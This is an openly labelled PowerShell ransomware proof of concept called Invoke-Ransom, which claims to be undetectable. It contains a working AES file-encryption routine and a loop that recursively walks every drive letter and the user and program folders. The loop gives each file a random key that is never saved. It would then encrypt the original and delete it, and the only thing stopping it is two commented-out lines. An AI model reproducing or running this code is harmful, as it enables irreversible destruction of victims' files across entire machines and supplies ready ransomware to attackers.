#################################
####     PROOF OF CONCEPT    ####
####   PRICE-PER-KEY RANSOM  ####
#################################  

<#
.Synopsis
    This script will encrypt every file with its own encryption key on a users computer based on that 
    users permissions. If run by System then some main System files will be encrypted also. Important 
    files will not be touch so OS can still function. Will NOT run on Powershell 5.
 
.NOTES
    Name: Invoke-Ransom
    Author: Elder4Ever
    Version: 1.0
    DateCreated: 2022-08-30
    Detection: Undetectable (as of 2022-08-30)
    Powershell Version: 7.0 or Higher
 
.LINK
    No Link Yet
    
#>

function Invoke-AESEncryption {
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [ValidateSet('Encrypt', 'Decrypt')]
        [String]$Mode,

        [Parameter(Mandatory = $true)]
        [String]$Key,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
        [String]$Text,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
        [String]$Path
    )

    Begin {
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
        $aesManaged = New-Object System.Security.Cryptography.AesManaged
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
    }

    Process {
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

        switch ($Mode) {
            'Encrypt' {
                if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName + ".K9"
                }

                $encryptor = $aesManaged.CreateEncryptor()
                $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
                $encryptedBytes = $aesManaged.IV + $encryptedBytes
                $aesManaged.Dispose()

                if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File encrypted to $outPath"
                }
            }

            'Decrypt' {
                if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName -replace ".K9"
                }

                $aesManaged.IV = $cipherBytes[0..15]
                $decryptor = $aesManaged.CreateDecryptor()
                $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
                $aesManaged.Dispose()

                if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File decrypted to $outPath"
                }
            }
        }
    }

    End {
        $shaManaged.Dispose()
        $aesManaged.Dispose()
    }
}

$Alphabet = "A:\","B:\","C:\Users\","C:\Program Files\","C:\Program Files (x86)\","D:\","E:\","F:\","G:\","H:\","I:\","J:\","K:\","L:\","M:\","N:\","O:\","P:\","Q:\","R:\","S:\","T:\","U:\","V:\","W:\","X:\","Y:\","Z:\"

foreach($A in $Alphabet){
    $File = Get-ChildItem "${A}" -Force -Recurse -ErrorAction SilentlyContinue
    foreach($F in $File){

        IF((Get-Item $F) -isnot [System.IO.DirectoryInfo]){
            if($F.Extension -ne ".K9"){
                $Char1 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char2 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char3 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char4 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char5 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char6 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char7 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char8 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char9 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char10 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char11 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char12 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char13 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char14 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'
                $Char15 = Get-Random -InputObject 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')','-','_'                
                
                $Pass = "$Char1$Char2$Char3$Char4$Char5$Char6$Char7$Char8$Char9$Char10$Char11$Char12$Char13$Char14$Char15"
                
                #Write-Host $F.FullName" - $Pass"

                #######DONT UNCOMMENT BELOW UNLESS YOU WANT TO DESTROY SOMEONES DAY#######

                #Invoke-AESEncryption -Mode Encrypt -Key "$Pass" -Path $F
                #Remove-Item $F.FullName -Recurse -Force 
            }
        }
    }

}